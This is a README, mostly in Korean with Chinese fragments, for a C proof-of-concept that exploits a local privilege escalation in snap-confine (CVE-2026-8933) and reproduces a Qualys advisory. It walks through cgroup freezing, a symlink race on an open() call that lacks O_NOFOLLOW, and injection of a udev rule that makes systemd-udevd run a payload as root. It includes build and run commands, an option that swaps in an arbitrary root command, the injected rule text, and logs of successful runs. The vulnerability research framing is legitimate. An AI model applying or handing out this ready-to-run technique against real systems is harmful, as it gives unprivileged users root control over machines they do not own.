
CVE-2026-8933에 대한 C 기반 개념 증명(PoC)으로, cgroup 동결, 심볼릭 링크 경쟁 조건, udev 규칙 주입을 이용해 root 권한으로 명령을 실행하는 snap-confine 로컬 권한 상승 취약점입니다.
Qualys 공지 《set-capabilities 버전의 snap-confine에서의 로컬 권한 상승》(https://cdn2.qualys.com/advisory/2026/07/21/snap-confine-set-capabilities.txt)을 재현합니다.
로컬 머신(Ubuntu 25.10 / snapd 2.73+ubuntu25.10.1 / 커널 6.17)에서 실측: uid 1000에서
출발하여 최종적으로 systemd-udevd가 root로 명령을 실행하고, /tmp/pwned가
uid=0(root) gid=0(root) groups=0(root)를 얻었으며, 공지의 마지막 시연 효과와 일치한다.
재현 과정에서 겪은 시행착오 기록, 그리고 첫 평가에서 왜 "악용 불가"로 오판했는지는 **NOTES.md**를 참조.
| 파일 | 설명 |
|---|---|
poc.c | 전체 PoC(단일 파일) |
Makefile | 빌드(시스템에 설치된 libfuse3.so.3.17.4 링크) |
include/ | libfuse3 3.17.4 헤더 파일(시스템 런타임 라이브러리와 일치) |
NOTES.md | 시행착오 기록 + 도달 가능성 분석 방법론 회고 |
cmd/snap-confine/mount-support.c(snapd 2.73):
sc_bootstrap_mount_namespace() // 第 475 行起
479: mkdtemp("/tmp/snap.rootfs_XXXXXX") <- 目录先归调用者所有
491: sc_do_mount(scratch, scratch, NULL, MS_BIND)
498: sc_do_mount("none", scratch, NULL, MS_UNBINDABLE)
503: sc_do_mount("none", scratch, "tmpfs", ...)
504: sc_replicate_base_rootfs(scratch, rootfs_dir, mounts)
sc_replicate_base_rootfs()
330: chown(scratch, 0, 0)
418: fd = open(full_path, O_CREAT | O_TRUNC, 0644) <- 缺少 O_NOFOLLOW
422: fchown(fd, 0, 0)
행 번호는 본机 snapd 2.73의 소스 코드(cmd/snap-confine/mount-support.c)에서 가져온 것입니다. Qualys
공지는 자체 보관한 파일 사본을 인용한 것으로, 대응하는 행 번호는 511 / 523 / 530 / 535 / 536 /
362 / 450 / 454 입니다 —— 문장은 일대일로 대응하며, 단지 행 번호만 다릅니다.
이 기기의 /usr/lib/snapd/snap-confine는 mode=755 + 파일 capability(즉
setuid-root가 아님)이므로, 공격자의 euid로 실행되면서도 거의 root에 가까운 capability를
보유합니다. 따라서 이 프로그램이 생성하는 디렉터리와 파일은 잠시 동안 공격자 소유가 되며,
418번째 줄의 open()은 심볼릭 링크를 따라갑니다.
디스어셈블리로 확인: 본机 open@plt의 플래그는 0x240(O_CREAT|O_TRUNC, O_NOFOLLOW
없음)입니다. 수정된 2.77.1의 동일 지점은 0x20240입니다.
systemd-run --user --scope --unit=snap.<snap>.<app>. 이 scope는 현재 사용자에 속하며 cgroup.freeze가 쓰기 가능하므로,
시스템 콜 단위로 snap-confine을 통과시킬 수 있습니다.SNAPD_DEBUG=1일 때 snap-confine은
associated snap application process ... with device cgroup을 출력합니다. 이 줄은
장치 cgroup의 BPF 프로그램 attach 이후, mkdtemp() 이전에 나타납니다. 더 일찍 동결할 수 없습니다:
freeze trap이 존재하면 BPF 검증기가 EAGAIN을 반환하고 snap-confine이 즉시 종료됩니다.
stderr는 pty(파이프가 아님)에 연결됩니다: 그렇지 않으면 stdio가 블록 버퍼링되어 marker가
종종 mkdtemp()와 bind mount 이후에야 flush됩니다.
또한 scope는 CPUQuota=1%로 시작됩니다: marker에서 mkdtemp()까지는 수백 마이크로초의
CPU 시간뿐으로, 캡처 프로세스의 깨어남 지연과 같은 규모입니다; 스로틀링은 이 창을 실제 시간에서
밀리초 수준으로 늘리며, 동결이 확인되면 즉시 cpu.max를 100%로 복원합니다.mount(2)는 대상
경로 내의 심볼릭 링크를 따라가므로, snap-confine의 bind/unbindable/tmpfs가 모두
<scratch>.dA에 위치하게 되고, 복사 루프는 여전히 scratch 디렉터리라는 문자열을 사용합니다.ns_mount_count(sc, .dA) >= 2), 심볼릭 링크를
<scratch>.dB로 다시 지정하고, dB 안에 base rootfs 최상위 일반 파일과 같은 이름의 심볼릭 링크를 넣어
/run/udev/rules.d/97-cve-2026-8933-<pid>-<rand>.rules를 가리키게 합니다. 이때 복사 루프의
경로 해석은 dB —— 우리가 완전히 제어할 수 있는 일반 디렉터리 —— 로 떨어집니다. tmpfs는 dA에 남아 더 이상
방해하지 않습니다.
주의: .dA에 마운트가 1개뿐일 때는 bind mount입니다(/tmp 자체가 tmpfs이고, bind 후에도
fstype은 여전히 tmpfs). 반드시 두 번째 마운트(진짜 tmpfs)가 나타난 후에 다시 지정해야 하며, 그렇지 않으면
snap-confine의 mount --make-unbindable이 경로가 더 이상 마운트 루트가 아니어서 EINVAL로 실패합니다.open(O_CREAT|O_TRUNC)(심볼릭 링크를 따라가며, root 권한으로 /run/udev/rules.d
아래에 파일 생성)를 수행한 뒤 fchown(fd,0,0)을 수행합니다. 파일은 이 순간 여전히 우리 소유입니다. PoC는 동시에
두 가지 수단을 사용합니다:
stat()이 파일을 보고
uid가 여전히 자신임을 확인하면 즉시 chmod 0666 + udev 규칙 쓰기(snap-confine이
동결되어 창이 "벌어진" 상태);chmod() 핫 루프로 같은 창을 선점합니다. spinner가 선점한
후 파일은 root 소유이지만 모드는 0666 —— 모드 비트는 fchown(0,0) 이후에도 유지되므로
주 경로도 동일하게 파일을 다 쓸 수 있습니다(코드에서 판단하는 것은 "쓸 수 있는가"이지 "소유자인가"가
아닙니다)./run/udev/** rw를 허용합니다.
FUSE 파일 시스템을 마운트/언마운트하면 커널이 bdi 서브시스템에 대해 add uevent를 발생시키고,
systemd-udevd가 즉시 root 권한으로 규칙의 PROGRAM=을 실행합니다.make
./poc --diagnose # 只读自检,不改动任何系统状态
./poc # exploit,默认最多 5 次尝试
./poc --attempts 8 # 增加尝试次数
./poc --file default256.png # 只用 base rootfs 里的这一个普通文件
sudo ./poc --cleanup # 清理(仅在异常中断留下残留时需要)
参数:
| 参数 | 설명 |
|---|---|
--snap NAME | 어떤 snap의 rootfs를 사용할지 (기본값 firefox, 환경 변수 CVE8933_SNAP로도 지정 가능) |
--app NAME | 해당 snap의 app (기본값은 meta/snap.yaml의 apps: 아래 첫 번째 항목) |
--file NAME | base rootfs 안의 이 일반 파일 하나만 사용; 일치하는 항목이 없으면 오류와 함께 종료 |
--attempts N | 시도 횟수 (기본값 5) |
--step US / --step2 US | 두 단계의 조각당 CPU 시간(마이크로초), 디버깅용 |
--keep | <scratch>.dA / .dB 디렉터리와 심볼릭 링크 유지 (디버깅용) |
--diagnose | 읽기 전용 자체 점검 |
--cleanup | 과거 잔여물 정리 (root 필요) |
로그는 /tmp/cve8933.log에 기록되고, snap-confine의 디버그 출력은
/tmp/cve8933-debug.txt에 기록됩니다.
CVE8933_PAYLOAD_CMD='<shell 명령>'로 payload 본문을 대체할 수 있습니다(다른
root 명령 실행 시연용). 이 경우 자동 정리가 수행되지 않으며, 사용자 정의 명령도
여전히 /tmp/pwned에 기록해야 합니다. 그렇지 않으면 PoC는 이번 시도가
성공하지 못한 것으로 간주합니다.
$ ./poc
[+] WIN: uid=0(root) gid=0(root) groups=0(root)
[+] exploit succeeded, evidence in /tmp/pwned
/tmp/cve8933.log 에 해당하는 성공 사례(2026-10-23, 변경 후 재테스트):
[ 0.256] === attempt 1/5 ===
[ 1062.158] marker seen after 750.5 ms
[ 1067.530] scratch dir /tmp/snap.rootfs_oFBraI replaced by a symlink to ...dA
[ 1100.887] bind mount + tmpfs on ...dA after 417 slices
[ 1100.974] scratch directory now points to ...dB with 4 symlinks -> ...rules
[ 1108.782] took the file over while snap-confine was stopped (242 slices)
[ 1108.820] rule written after 797.1 ms
[ 1108.832] target: uid=0 gid=0 mode=0666 size=73 content="ACTION=="add", ..."
(이전 8회 시도 실행에서는 2번째에 성공했습니다: 1번째의 freeze 확인이 너무 늦어서 snap-confine이 같은 타임 슬라이스 안에서 bind mount를 지나쳐 버렸습니다.)
/run/udev/rules.d/에 잠시 나타났던 내용:
-rw-rw-rw- 1 root root 73 ... 97-cve-2026-8933-85431-485b.rules
내용은 ACTION=="add", SUBSYSTEM=="bdi", PROGRAM="/tmp/cve-2026-8933-payload.sh"이며,
udevd 로그에서 로드되었음이 확인되었고("marked world-writable ... Proceeding anyway"), payload는
root로 실행되었습니다.
5단계의 윈도우(open()와 fchown() 사이)는 시스템 콜 하나 또는 두 개 폭밖에 되지 않는다. 주 경로(freezer 단일 단계 + 동결 시점 인수)는 대부분의 시도에서 성공한다. 간혹 동결 확인이 늦어지면 snap-confine이 같은 타임 슬라이스 안에서 bind mount를 지나쳐 버리고, 해당 시도는 곧바로 실패하여 재시도한다. 기본 5회 시도이며, 실측으로 연속 세 번 실행에서 각각 2, 1, 2회 시도 내에 성공했다. --attempts를 늘리면 된다.
정상 실행 시 PoC는 스스로 정리한다: payload가 root 권한으로 snap-confine이 전파한 모든 /tmp/snap.rootfs_* 마운트를 언마운트하고, 해당 디렉터리를 삭제하며, /run/udev/rules.d/97-cve-2026-8933*.rules와 두 스크립트를 삭제한다. 테스트 전에 먼저 베이스라인을 기록하고, 실행 후 항목별로 대조하며, 실측으로 매번 성공 실행 후:
mounts under /tmp/snap.rootfs_*: 0
leftover directories: 0
/run/udev/rules.d: 只有 90-netplan.rules / 99-netplan-ens33.rules
/etc/passwd md5: 24c3aa8f7b7bdf6fa770b46601abc1a0(未改变)
user scopes: 0
유일하게 의도적으로 남겨둔 것은 /tmp/pwned(root 소유, 즉 공지 데모의 증거 파일)입니다. 이를 삭제하려면
root 권한이 필요합니다: sudo ./poc --cleanup.
여러 번 시도가 모두 실패하면(예: 시스템 부하가 매우 높은 경우) 여러 /tmp/snap.rootfs_*
마운트와 디렉터리가 남을 수 있습니다. sudo ./poc --cleanup이 이를 함께 정리합니다.
이 PoC는 취약점 연구 및 검증에만 사용됩니다:
id > /tmp/pwned만 실행하고 자체 정리하며, 어떤 자격 증명 파일도 수정하지 않습니다
(/etc/passwd, /etc/shadow 모두 건드리지 않으며, md5로 확인 가능);